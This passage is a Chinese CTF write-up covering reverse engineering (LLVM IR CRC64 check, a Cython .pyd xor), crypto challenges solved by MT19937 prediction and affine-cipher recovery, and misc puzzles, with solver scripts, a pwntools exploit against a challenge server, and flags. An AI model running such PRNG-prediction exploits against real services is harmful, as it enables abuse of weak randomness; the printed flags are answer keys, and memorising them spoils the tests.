for.end: ; preds = %for.cond1
br label %for.inc7

for.inc7: ; preds = %for.end
%11 = load i64, ptr %i, align 8
%inc8 = add i64 %11, 1
store i64 %inc8, ptr %i, align 8
br label %for.cond, !llvm.loop !14

for.end9: ; preds = %for.cond
%12 = load i64, ptr %crc, align 8
%xor10 = xor i64 %12, -1
ret i64 %xor10
}

; Function Attrs: mustprogress noinline norecurse optnone uwtable
define dso_local noundef i32 @main() #1 {
entry:
%retval = alloca i32, align 4
%enc = alloca [12 x i64], align 16
%data = alloca [66 x i8], align 16
%i = alloca i64, align 8
%j = alloca i64, align 8
%crc = alloca i64, align 8
store i32 0, ptr %retval, align 4
call void @llvm.memcpy.p0.p0.i64(ptr align 16 %enc, ptr align 16 @__const.main.enc, i64 96, i1 false)
call void @llvm.memset.p0.i64(ptr align 16 %data, i8 0, i64 66, i1 false)
%call = call i32 (ptr, ...) @printf(ptr noundef @"??_C@_0O@FIGNKBOM@Input?5U?5flag?3?$AA@")
%arraydecay = getelementptr inbounds [66 x i8], ptr %data, i64 0, i64 0
%call1 = call i32 (ptr, ...) @scanf(ptr noundef @"??_C@_02DKCKIIND@?$CFs?$AA@", ptr noundef %arraydecay)
store i64 0, ptr %i, align 8
store i64 0, ptr %j, align 8
br label %for.cond

for.cond: ; preds = %for.inc, %entry
%0 = load i64, ptr %i, align 8
%arraydecay2 = getelementptr inbounds [66 x i8], ptr %data, i64 0, i64 0
%call3 = call i64 @strlen(ptr noundef %arraydecay2)
%div = udiv i64 %call3, 2
%cmp = icmp ult i64 %0, %div
br i1 %cmp, label %for.body, label %for.end

for.body: ; preds = %for.cond
%1 = load i64, ptr %i, align 8
%arrayidx = getelementptr inbounds [66 x i8], ptr %data, i64 0, i64 %1
%call4 = call noundef i64 @"?calculate_crc64_direct@@YA_KPEBE_K@Z"(ptr noundef %arrayidx, i64 noundef 2)
store i64 %call4, ptr %crc, align 8
%2 = load i64, ptr %crc, align 8
%3 = load i64, ptr %j, align 8
%arrayidx5 = getelementptr inbounds [12 x i64], ptr %enc, i64 0, i64 %3
%4 = load i64, ptr %arrayidx5, align 8
%cmp6 = icmp ne i64 %2, %4
br i1 %cmp6, label %if.then, label %if.end

if.then: ; preds = %for.body
%call7 = call i32 (ptr, ...) @printf(ptr noundef @"??_C@_06JPHCLLC@Error?$CB?$AA@")
store i32 0, ptr %retval, align 4
br label %return

if.end: ; preds = %for.body
br label %for.inc

for.inc: ; preds = %if.end
%5 = load i64, ptr %i, align 8
%add = add i64 %5, 2
store i64 %add, ptr %i, align 8
%6 = load i64, ptr %j, align 8
%inc = add i64 %6, 1
store i64 %inc, ptr %j, align 8
br label %for.cond, !llvm.loop !15

for.end: ; preds = %for.cond
%call8 = call i32 (ptr, ...) @printf(ptr noundef @"??_C@_07PBILKAFL@Success?$AA@")
store i32 0, ptr %retval, align 4
br label %return

return: ; preds = %for.end, %if.then
%7 = load i32, ptr %retval, align 4
ret i32 %7
}

; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite)
declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #2

; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #3

; Function Attrs: mustprogress noinline optnone uwtable
define linkonce_odr dso_local i32 @printf(ptr noundef %_Format, ...) #4 comdat {
entry:
%_Format.addr = alloca ptr, align 8
%_Result = alloca i32, align 4
%_ArgList = alloca ptr, align 8
store ptr %_Format, ptr %_Format.addr, align 8
call void @llvm.va_start(ptr %_ArgList)
%0 = load ptr, ptr %_ArgList, align 8
%1 = load ptr, ptr %_Format.addr, align 8
%call = call ptr @__acrt_iob_func(i32 noundef 1)
%call1 = call i32 @_vfprintf_l(ptr noundef %call, ptr noundef %1, ptr noundef null, ptr noundef %0)
store i32 %call1, ptr %_Result, align 4
call void @llvm.va_end(ptr %_ArgList)
%2 = load i32, ptr %_Result, align 4
ret i32 %2
}

; Function Attrs: mustprogress noinline optnone uwtable
define linkonce_odr dso_local i32 @scanf(ptr noundef %_Format, ...) #4 comdat {
entry:
%_Format.addr = alloca ptr, align 8
%_Result = alloca i32, align 4
%_ArgList = alloca ptr, align 8
store ptr %_Format, ptr %_Format.addr, align 8
call void @llvm.va_start(ptr %_ArgList)
%0 = load ptr, ptr %_ArgList, align 8
%1 = load ptr, ptr %_Format.addr, align 8
%call = call ptr @__acrt_iob_func(i32 noundef 0)
%call1 = call i32 @_vfscanf_l(ptr noundef %call, ptr noundef %1, ptr noundef null, ptr noundef %0)
store i32 %call1, ptr %_Result, align 4
call void @llvm.va_end(ptr %_ArgList)
%2 = load i32, ptr %_Result, align 4
ret i32 %2
}

declare dso_local i64 @strlen(ptr noundef) #5

; Function Attrs: nocallback nofree nosync nounwind willreturn
declare void @llvm.va_start(ptr) #6

; Function Attrs: mustprogress noinline optnone uwtable
define linkonce_odr dso_local i32 @_vfprintf_l(ptr noundef %_Stream, ptr noundef %_Format, ptr noundef %_Locale, ptr noundef %_ArgList) #4 comdat {
entry:
%_ArgList.addr = alloca ptr, align 8
%_Locale.addr = alloca ptr, align 8
%_Format.addr = alloca ptr, align 8
%_Stream.addr = alloca ptr, align 8
store ptr %_ArgList, ptr %_ArgList.addr, align 8
store ptr %_Locale, ptr %_Locale.addr, align 8
store ptr %_Format, ptr %_Format.addr, align 8
store ptr %_Stream, ptr %_Stream.addr, align 8
%0 = load ptr, ptr %_ArgList.addr, align 8
%1 = load ptr, ptr %_Locale.addr, align 8
%2 = load ptr, ptr %_Format.addr, align 8
%3 = load ptr, ptr %_Stream.addr, align 8
%call = call ptr @__local_stdio_printf_options()
%4 = load i64, ptr %call, align 8
%call1 = call i32 @__stdio_common_vfprintf(i64 noundef %4, ptr noundef %3, ptr noundef %2, ptr noundef %1, ptr noundef %0)
ret i32 %call1
}

declare dso_local ptr @__acrt_iob_func(i32 noundef) #5

; Function Attrs: nocallback nofree nosync nounwind willreturn
declare void @llvm.va_end(ptr) #6

declare dso_local i32 @__stdio_common_vfprintf(i64 noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) #5

; Function Attrs: mustprogress noinline nounwind optnone uwtable
define linkonce_odr dso_local ptr @__local_stdio_printf_options() #0 comdat {
entry:
ret ptr @"?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA"
}

; Function Attrs: mustprogress noinline optnone uwtable
define linkonce_odr dso_local i32 @_vfscanf_l(ptr noundef %_Stream, ptr noundef %_Format, ptr noundef %_Locale, ptr noundef %_ArgList) #4 comdat {
entry:
%_ArgList.addr = alloca ptr, align 8
%_Locale.addr = alloca ptr, align 8
%_Format.addr = alloca ptr, align 8
%_Stream.addr = alloca ptr, align 8
store ptr %_ArgList, ptr %_ArgList.addr, align 8
store ptr %_Locale, ptr %_Locale.addr, align 8
store ptr %_Format, ptr %_Format.addr, align 8
store ptr %_Stream, ptr %_Stream.addr, align 8
%0 = load ptr, ptr %_ArgList.addr, align 8
%1 = load ptr, ptr %_Locale.addr, align 8
%2 = load ptr, ptr %_Format.addr, align 8
%3 = load ptr, ptr %_Stream.addr, align 8
%call = call ptr @__local_stdio_scanf_options()
%4 = load i64, ptr %call, align 8
%call1 = call i32 @__stdio_common_vfscanf(i64 noundef %4, ptr noundef %3, ptr noundef %2, ptr noundef %1, ptr noundef %0)
ret i32 %call1
}

declare dso_local i32 @__stdio_common_vfscanf(i64 noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) #5

; Function Attrs: mustprogress noinline nounwind optnone uwtable
define linkonce_odr dso_local ptr @__local_stdio_scanf_options() #0 comdat {
entry:
ret ptr @"?_OptionsStorage@?1??__local_stdio_scanf_options@@9@4_KA"
}

attributes #0 = { mustprogress noinline nounwind optnone uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { mustprogress noinline norecurse optnone uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) }
attributes #3 = { nocallback nofree nounwind willreturn memory(argmem: write) }
attributes #4 = { mustprogress noinline optnone uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #5 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #6 = { nocallback nofree nosync nounwind willreturn }

!llvm.linker.options = !{!0, !1, !2, !3, !4, !5, !6}
!llvm.module.flags = !{!7, !8, !9, !10}
!llvm.ident = !{!11}

!0 = !{!"/FAILIFMISMATCH:\22_CRT_STDIO_ISO_WIDE_SPECIFIERS=0\22"}
!1 = !{!"/FAILIFMISMATCH:\22_MSC_VER=1900\22"}
!2 = !{!"/FAILIFMISMATCH:\22_ITERATOR_DEBUG_LEVEL=0\22"}
!3 = !{!"/FAILIFMISMATCH:\22RuntimeLibrary=MT_StaticRelease\22"}
!4 = !{!"/DEFAULTLIB:libcpmt.lib"}
!5 = !{!"/FAILIFMISMATCH:\22annotate_string=0\22"}
!6 = !{!"/FAILIFMISMATCH:\22annotate_vector=0\22"}
!7 = !{i32 1, !"wchar_size", i32 2}
!8 = !{i32 8, !"PIC Level", i32 2}
!9 = !{i32 7, !"uwtable", i32 2}
!10 = !{i32 1, !"MaxTLSAlign", i32 65536}
!11 = !{!"clang version 17.0.1"}
!12 = distinct !{!12, !13}
!13 = !{!"llvm.loop.mustprogress"}
!14 = distinct !{!14, !13}
!15 = distinct !{!15, !13}

程序让用户输入一个字符串,然后每两个字符一组,使用 calculate_crc64_direct 函数进行 CRC64 校验,并与内置的 @__const.main.enc 中的 12 个 i64 常量值进行比较。如果全部匹配成功,则输出 Success,否则输出 Error!。然后我们就可以结合ai解读逆出解密脚本。

一、核心函数分析:?calculate_crc64_direct@@YA_KPEBE_K@Z

这是一个计算 CRC64 校验值 的函数,签名为:

1
uint64_t calculate_crc64_direct(const uint8_t* data, uint64_t length);

算法流程简述:

  1. 初始化 crc = -1(即 0xFFFFFFFFFFFFFFFF)。

  2. 对每个字节:

    将其左移 56 位并与 crc 异或。

    然后进行 8 次循环(一个字节),每次:

    • 如果最高位为 1,则:

      1
      crc = (crc << 1) ^ 0x42F0E1EBA9EA3693
    • 否则:

      1
      crc <<= 1
  3. 最后再与 0xFFFFFFFFFFFFFFFF 异或(即按位取反)返回。

这个是标准的 CRC-64-ECMA 算法。

二、主程序分析:main

1
2
Input U flag:
scanf("%s", data)

程序从控制台读取一串字符串(最多 65 个字符,保存在 data 数组里)。c

主体校验逻辑:

1
2
3
4
5
6
7
8
for (i = 0; i < strlen(data) / 2; ++i) {
crc = calculate_crc64_direct(data + i, 2); // 每次两个字符
if (crc != enc[j]) {
printf("Error!\n");
return 0;
}
j++;
}

程序以2字节为一组(即两个字符)对输入串进行 CRC64 校验,并和 enc[j] 中的值对比。

所以一共有 12 个 CRC64 值,意味着:

  • 一共会计算 12 次 CRC。
  • 每次使用输入中的 2 字节作为输入。

所以:输入长度应该正好是 24 字节(即 24 个字符)

三、目标值 enc

这是 CRC 校验目标值(正确 flag 的 CRC 分组):

1
2
3
4
5
6
enc[12] = {
-2565957437423125689, 224890624719110086, 1357324823849588894,
-8941695979231947288, -253413330424273460, -7817463785137710741,
-5620500441869335673, 984060876288820705, -6993555743080142153,
-7892488171899690683, 7190415315123037707, -7218240302740981077
};

四、输入长度与数据块

每次取两个字符,使用 calculate_crc64_direct 校验:

也就是说:

  • 输入是一个 24 字节的字符串。
  • 每次从 i 开始连续取两个字节,计算出 CRC。

所以我们应当:

  • 构造一个长度为 24 的字符串,使得它的每个连续两个字符的 CRC64 校验值对应上表中的目标。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
POLY = 0x42F0E1EBA9EA3693

def crc64_ecma(data: bytes) -> int:
crc = 0xFFFFFFFFFFFFFFFF
for b in data:
crc ^= b << 56
for _ in range(8):
if crc & (1 << 63):
crc = (crc << 1) ^ POLY
else:
crc <<= 1
crc &= 0xFFFFFFFFFFFFFFFF # 强制截断为64位
return crc ^ 0xFFFFFFFFFFFFFFFF

enc_values = [
-2565957437423125689,
224890624719110086,
1357324823849588894,
-8941695979231947288,
-253413330424273460,
-7817463785137710741,
-5620500441869335673,
984060876288820705,
-6993555743080142153,
-7892488171899690683,
7190415315123037707,
-7218240302740981077,
]

# 转成无符号表示
enc_values = [v & 0xFFFFFFFFFFFFFFFF for v in enc_values]

flag = b""

for target in enc_values:
found = False
for a in range(256):
for b in range(256):
chunk = bytes([a, b])
if crc64_ecma(chunk) == target:
flag += chunk
found = True
break
if found:
break
else:
print(f"Failed to find match for {target}")
break

print(f"Recovered flag: {flag}")

flag{LLVM_1s_Fun_Ri9h7?}

re-Moon

有个.py和.pyd文件,py文件里面使用了pyd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import moon 

print("I tried my best, to live an ordinary life.")
print("But I hope you can look up and see the moonlight through reverse engineering on the streets full of sixpence.")

user_input = input("Enter your flag: ").strip()

result, error = moon.check_flag(user_input)

if error:
print("Error.")
elif result:
print("I think you have found the right way.")
else:
print("You seem to be lost.")

就要知道pyd在python那个版本下的,在自己的3.12不对,运气好直接在虚拟机的3.11直接成功

然后用ida看了看,找到很多函数

有xor异或的函数,还有targethex(用于异或的16进制),seed种子

然后让ai分析了一下,找了找函数,交叉引用了两个关键函数,check和xor发现

这个check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
__int64 __fastcall sub_180001A00(__int64 a1, __int64 *a2, __int64 a3, __int64 a4)
{
__int64 v4; // rcx
__int64 *v5; // rbp
int v7; // esi
__int64 v8; // rax
__int64 v9; // rbx
__int64 v10; // rbx
__int64 v11; // rdx
_QWORD v13[3]; // [rsp+40h] [rbp-18h] BYREF
__int64 v14; // [rsp+68h] [rbp+10h] BYREF

v4 = 0LL;
v5 = &a2[a3];
v14 = 0LL;
v7 = a4;
v13[1] = 0LL;
v13[0] = (char *)off_18000B618 + 192;
if ( !a4 )
{
if ( a3 == 1 )
{
v8 = *a2;
return sub_180001B70(v4, v8);
}
goto LABEL_14;
}
if ( a3 )
{
if ( a3 == 1 )
{
v8 = *a2;
v9 = *(_QWORD *)(a4 + 16);
v14 = *a2;
goto LABEL_7;
}
LABEL_14:
PyErr_Format(
PyExc_TypeError,
"%.200s() takes %.8s %zd positional argument%.1s (%zd given)",
"check_flag",
"exactly",
1uLL,
byte_1800084C0,
a3);
v11 = 2805LL;
goto LABEL_15;
}
v10 = *(_QWORD *)(a4 + 16);
v8 = sub_180003EA0(a4, v5, *((_QWORD *)off_18000B618 + 24));
v14 = v8;
if ( !v8 )
{
if ( PyErr_Occurred() )
{
v11 = 2789LL;
goto LABEL_15;
}
goto LABEL_14;
}
v9 = v10 - 1;
LABEL_7:
if ( v9 > 0 )
{
if ( (int)sub_1800040C0(v7, (_DWORD)v5, (unsigned int)v13, a4, (__int64)&v14, a3, (__int64)"check_flag") < 0 )
{
v11 = 2794LL;
LABEL_15:
sub_180005D40("moon.check_flag", v11, 10LL, "moon.py");
return 0LL;
}
v8 = v14;
}
return sub_180001B70(v4, v8);
}

和xor:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
__int64 __fastcall sub_180001130(__int64 a1, __int64 *a2, __int64 a3, __int64 a4)
{
__int64 *v5; // r14
_QWORD *v6; // r8
_QWORD *v8; // rcx
__int64 v9; // rbx
__int64 v10; // rdi
__int64 v11; // rdx
__int128 v13; // [rsp+40h] [rbp-58h] BYREF
_QWORD v14[3]; // [rsp+50h] [rbp-48h] BYREF

v14[2] = 0LL;
v5 = &a2[a3];
v6 = off_18000B618;
v13 = 0LL;
v8 = (_QWORD *)((char *)off_18000B618 + 264);
v14[0] = (char *)off_18000B618 + 264;
v14[1] = (char *)off_18000B618 + 136;
if ( !a4 )
{
if ( a3 == 2 )
{
v9 = *a2;
*((_QWORD *)&v13 + 1) = a2[1];
return sub_180001370(v8, v9, *((_QWORD *)&v13 + 1));
}
LABEL_25:
PyErr_Format(
PyExc_TypeError,
"%.200s() takes %.8s %zd positional argument%.1s (%zd given)",
"xor_crypt",
"exactly",
2uLL,
"s",
a3);
v11 = 2531LL;
goto LABEL_26;
}
if ( a3 )
{
if ( a3 != 1 )
{
if ( a3 != 2 )
goto LABEL_25;
*((_QWORD *)&v13 + 1) = a2[1];
}
v9 = *a2;
*(_QWORD *)&v13 = *a2;
}
else
{
v9 = v13;
}
v10 = *(_QWORD *)(a4 + 16);
if ( a3 )
{
if ( a3 != 1 )
goto LABEL_15;
goto LABEL_13;
}
*(_QWORD *)&v13 = sub_180003EA0(a4, v5, *v8);
v9 = v13;
if ( !(_QWORD)v13 )
{
if ( PyErr_Occurred() )
{
v11 = 2503LL;
goto LABEL_26;
}
goto LABEL_25;
}
v6 = off_18000B618;
--v10;
LABEL_13:
*((_QWORD *)&v13 + 1) = sub_180003EA0(a4, v5, v6[17]);
if ( !*((_QWORD *)&v13 + 1) )
{
if ( PyErr_Occurred() )
{
v11 = 2511LL;
}
else
{
PyErr_Format(
PyExc_TypeError,
"%.200s() takes %.8s %zd positional argument%.1s (%zd given)",
"xor_crypt",
"exactly",
2uLL,
"s",
1uLL);
v11 = 2513LL;
}
goto LABEL_26;
}
--v10;
LABEL_15:
if ( v10 > 0 )
{
if ( (int)sub_1800040C0(a4, (_DWORD)v5, (unsigned int)v14, a4, (__int64)&v13, a3, (__int64)"xor_crypt") < 0 )
{
v11 = 2518LL;
LABEL_26:
sub_180005D40("moon.xor_crypt", v11, 3LL, "moon.py");
return 0LL;
}
v9 = v13;
}
return sub_180001370(v8, v9, *((_QWORD *)&v13 + 1));
}

分析了一下,40c0应该就是chek函数,1b70就是xor函数,并且xor函数传参是两个

xor_crypt 的关键逻辑:

  1. 要求 2 个参数(a2[0], a2[1]):
    • v9 = *a2 是第一个参数(待加密或解密的数据)
    • *((_QWORD *)&v13 + 1) = a2[1] 是 key
  2. 调用 sub_180001370(v8, v9, key) 执行 XOR 操作,最后返回结果

所以 xor_crypt(data, key) = sub_180001370(data, key) 是我们要重点还原的函数,几乎可以肯定它就是执行字节级异或。

反正ai分析了很多

最后尝试直接用 Python 脚本调用 .pyd,测试 xor_crypt()与 check_flag(),观察行为。

说是moon.xor_crypt()要两个参数,而moon.check_flag()要一个参数,moon.check_flag()这个好理解,直接是输入flag检查,moon.xor_crypt()这个根据上面的分析,应该是有个密钥(也就是看到的seed种子,后面试出来的,嘻嘻)然后就有了接下来的ai对话:

问了一下模型,让他写了个脚本,找出模块内有哪些变量/函数/模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import sys
import os
import importlib.util
import inspect

def load_pyd_module(pyd_path):
module_name = os.path.splitext(os.path.basename(pyd_path))[0]
spec = importlib.util.spec_from_file_location(module_name, pyd_path)
if spec is None:
raise ImportError(f"Could not load spec from {pyd_path}")
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
return module

def hlep_raw(module):
print(f"分析模块:{module.__name__}")
print("=" * 60)
for name in dir(module):
if name.startswith("__"):
continue
print(f"发现对象: {name}")
try:
obj = getattr(module, name)
print(f" 类型: {type(obj)}")
print(f" 文档: {getattr(obj, '__doc__', '无')}")
except Exception as e:
print(f" 无法访问: {e}")

if __name__ == "__main__":
if len(sys.argv) != 2:
print("用法: python hlep.py <路径/模块.pyd>")
sys.exit(1)

pyd_path = sys.argv[1]
if not os.path.isfile(pyd_path) or not pyd_path.endswith(".pyd"):
print("请提供有效的 .pyd 文件路径")
sys.exit(1)

try:
mod = load_pyd_module(pyd_path)
hlep(mod)
except Exception as e:
print(f"加载模块失败: {e}")

print(dir(mod))

print('----------------------------------------------------')

for name in dir(mod):
if name.startswith("__"): continue
obj = getattr(mod, name)
print(f"{name} -> {type(obj)}")

print('----------------------------------------------------')

for name in dir(mod):
if name.startswith("__"):
continue
obj = getattr(mod, name)
if callable(obj):
print(f"{name}() 可调用,类型: {type(obj)}")



看到有这些玩意儿,让他提取这些的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import importlib.util
import inspect
import sys
import os

def load_pyd_module(pyd_path):
module_name = os.path.splitext(os.path.basename(pyd_path))[0]
spec = importlib.util.spec_from_file_location(module_name, pyd_path)
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
return module

def analyze_module(module):
print(f"[+] 模块名: {module.__name__}")
print(f"[+] 文档字符串:\n{module.__doc__}\n")

members = dir(module)
print(f"[+] 模块成员列表:")
for name in members:
if name.startswith("__") and name.endswith("__"):
continue
attr = getattr(module, name)
if inspect.isfunction(attr):
print(f" [+] 函数: {name}")
doc = inspect.getdoc(attr)
if doc:
print(f" - Doc: {doc}")
else:
print(f" - Doc: 无")
elif inspect.isbuiltin(attr):
print(f" [+] 内建函数: {name}")
else:
print(f" [+] 变量: {name} = {repr(attr)}")

if __name__ == "__main__":
# 替换为你的 .pyd 文件路径
pyd_path = "moon.pyd"
if not os.path.exists(pyd_path):
print(f"[!] 找不到文件: {pyd_path}")
sys.exit(1)

try:
mod = load_pyd_module(pyd_path)
analyze_module(mod)
except Exception as e:
print(f"[!] 加载或分析模块失败: {e}")

再根据前面的分析,写了个解密的脚本

1
2
3
4
5
6
7
import moon

xor_result = moon.xor_crypt(1131796,b'\x42\x6b\x87\xab\xd0\xce\xaa\x3c\x58\x76\x1b\xbb\x01\x72\x60\x6d\xd8\xab\x06\x44\x91\xa2\xa7\x6a\xf9\xa9\x3e\x1a\xe5\x6f\xa8\x42\x06\xa2\xf7')

print(xor_result)


刚开始根据分析以为先传的是16进制

1
(b'\x42\x6b\x87\xab\xd0\xce\xaa\x3c\x58\x76\x1b\xbb\x01\x72\x60\x6d\xd8\xab\x06\x44\x91\xa2\xa7\x6a\xf9\xa9\x3e\x1a\xe5\x6f\xa8\x42\x06\xa2\xf7',1131796)

结果报错了

后面换回来就对了

得到flagflag{but_y0u_l00k3d_up_@t_th3_mOOn}

crypto-Division

1.稍微搜一下就知道,漏洞在于Python的random模块使用的是MT19937伪随机数生成器,这是一个确定性算法,只要获取足够多的随机数样本,也就是624个32位值,就可以完全预测后续的所有随机数输出。只预测下一个32位的话可看https://blog.csdn.net/qq_57235775/article/details/131168939。

2.这里一开始以为预测11000和10000要用32位去拼,因为不是32的倍数,想尽办法想把这个预测大数的函数写好,问ai也是搞不清楚是截高位还是低位,还有各种掩码什么的,两种都试了结果都不行。最后真的是福至心灵,一开始有在本地测猜后续的32位确认没问题,是用的predictor.getrandbits(32),那我不自己去用32位拼了,直接用训练好的来predictor.getrandbits(11000)呢?结果还真对了,想复杂了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import time
from pwn import *
from mt19937predictor import MT19937Predictor


def main():
context.log_level = 'debug'
context.timeout = 30
# 远程连接参数
HOST = '39.106.48.123'
PORT = 44194
try:
# 建立远程连接
proc = remote(HOST, PORT)
# 初始化预测器
predictor = MT19937Predictor()
log.info("开始收集624个随机数样本...")

# 收集624个样本
for i in range(624):
try:
# 发送选项1,分母1
proc.sendlineafter(b': >>> ', b'1')
proc.sendlineafter(b'input the denominator: >>> ', b'1')

# 接收响应
resp = proc.recvuntil(b' = ')
num = int(proc.recvline().strip())

# 训练预测器
if i < 624:
predictor.setrandbits(num, 32)

if (i + 1) % 100 == 0:
log.info(f"已收集 {i + 1}/624 个样本")

except Exception as e:
log.error(f"收集样本时出错: {e}")
continue

log.success("开始预测大随机数...")

# 预测随机数
rand1 = predictor.getrandbits(11000)
rand2 = predictor.getrandbits(10000)
rand2 = max(rand2, 1)

correct_ans = rand1 // rand2

log.info(f"rand1位数: {rand1.bit_length()}")
log.info(f"rand2位数: {rand2.bit_length()}")
log.info(f"计算结果: {correct_ans}")

# 提交答案
proc.sendlineafter(b': >>> ', b'2')
proc.sendlineafter(b'input the answer: >>> ', str(correct_ans).encode())

try:
# 等待flag提示
resp = proc.recvuntil(b'WOW', timeout=10)
flag = b'XYCTF{' + proc.recvuntil(b'}', timeout=5)
log.success(f"成功获取flag: {flag.decode()}")
except:
try:
resp = proc.recvall(timeout=10)
if b'{' in resp:
flag = resp[resp.index(b'XYCTF{'):]
flag = flag[:flag.index(b'}') + 1]
log.success(f"获取flag: {flag.decode()}")
else:
log.error("未找到flag,完整响应:")
print(resp.decode(errors='replace'))
except Exception as e:
log.error(f"接收错误: {e}")
log.error(f"最后数据: {proc.clean().decode(errors='replace')}")

except Exception as e:
log.error(f"程序出错: {e}")
finally:
proc.close()

if __name__ == '__main__':
main()

image-20250406231907423

flag值:XYCTF{64341c34-1e13-47d5-b97c-bc17f7b7fe98}

crypto-reed

1.看题目。大概就是用户提供一个种子,使用该种子初始化PRNG生成两个参数a和b,然后使用线性同余加密方式加密flag,(a * table.index(m) + b) % 19198111。

2.nc上之后可以看到,虽然每次得到的密文组不同,但是固定的几个位置上的数一定是相同的,比如1,2,5...。说明这几个位置上的明文是相同的,如果可以先猜测这些位置上的明文,就可以列方程组解a,b,由此再去解剩余的密文。(说实话是遍历试的明文,代码总是有点问题改了很久,答案出来之后只能说哎,这怎么能没看出来,这相同的位置,这提示,哎)

image-20250406232133685

3.随便选一组数据来解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import string
from itertools import combinations

def inverse(a, m):
def extended_gcd(a, b):
if a == 0:
return b, 0, 1
else:
gcd, x, y = extended_gcd(b % a, a)
return gcd, y - (b // a) * x, x

gcd, x, _ = extended_gcd(a, m)
if gcd != 1:
raise ValueError("a在模m下没有逆")
else:
return x % m

def solve(cipher, table, m):
"""解密cipher"""
# 找到重复值
repeated = [c for c in set(cipher) if cipher.count(c) > 1]
if len(repeated) < 2:
print("Not enough repeated values to solve")
return

# 遍历可能的重复值组合
for c0, c1 in combinations(repeated, 2):
pos0 = cipher.index(c0)
pos1 = cipher.index(c1)

# 遍历可能的字符组合
for m0 in table:
for m1 in table:
i0 = table.index(m0)
i1 = table.index(m1)

try:
a = (c1 - c0) * inverse(i1 - i0, m) % m
b = (c0 - a * i0) % m
except:
continue

# 检查a范围
if not (1145140 <= a <= 19198100):
continue

# 解密全部
try:
inv_a = inverse(a, m)
flag = []
for c in cipher:
idx = ((c - b) * inv_a) % m
if idx < 0 or idx >= len(table):
raise ValueError
flag.append(table[idx])
print("Possible flag:", ''.join(flag))
return
except:
continue

print("Failed to decrypt")

# 测试
table = string.ascii_letters + string.digits
m = 19198111

# 测试数据
cipher = [3554294, 3554294, 4160781, 17161684, 3554294, 4160781, 13048613, 13655100, 16687535, 47710, 6244918, 8670866, 14868074, 13655100, 1867171, 3080145, 13655100, 9277353, 9277353, 14868074, 6244918, 5638431, 1867171, 6851405, 47710, 15474561, 14868074, 16081048, 9277353, 3554294, 11570963, 3554294, 11570963, 17768171, 3554294, 9751502]
solve(cipher, table, m)

image-20250406224335690

flag值:XYCTF{114514fixedpointissodangerous1919810}

misc-问卷

填写问卷得flag。

flag{TH@NK_U!WE_H0P3_Y0U_H@VE_FU7!H@PPY_H@CKING!}

misc-XGCTF

1.审题,先去 CTFshow 找一下西瓜杯这场比赛

image-20250406213220996

2.根据题目 "唯一由 LamentXU 出的题", 点进每道题看看,找到这道题是 easy_polluted

image-20250406213409260

3.为了方便找对应的原题,看看官方 wp,没想到直接给了

image-20250406213551415

4.直接搜 CISCN 华东南 WEB 没怎么找到,搜 dragonkeep 什么的也没找到,于是换成搜出题想找到出题人的博客,说不定有更详细的信息。也是很容易就找到了。

image-20250406213723500

5.进入博客页面

image-20250406213855060

6.下翻,左侧可拉开,有搜索功能

image-20250406214059696

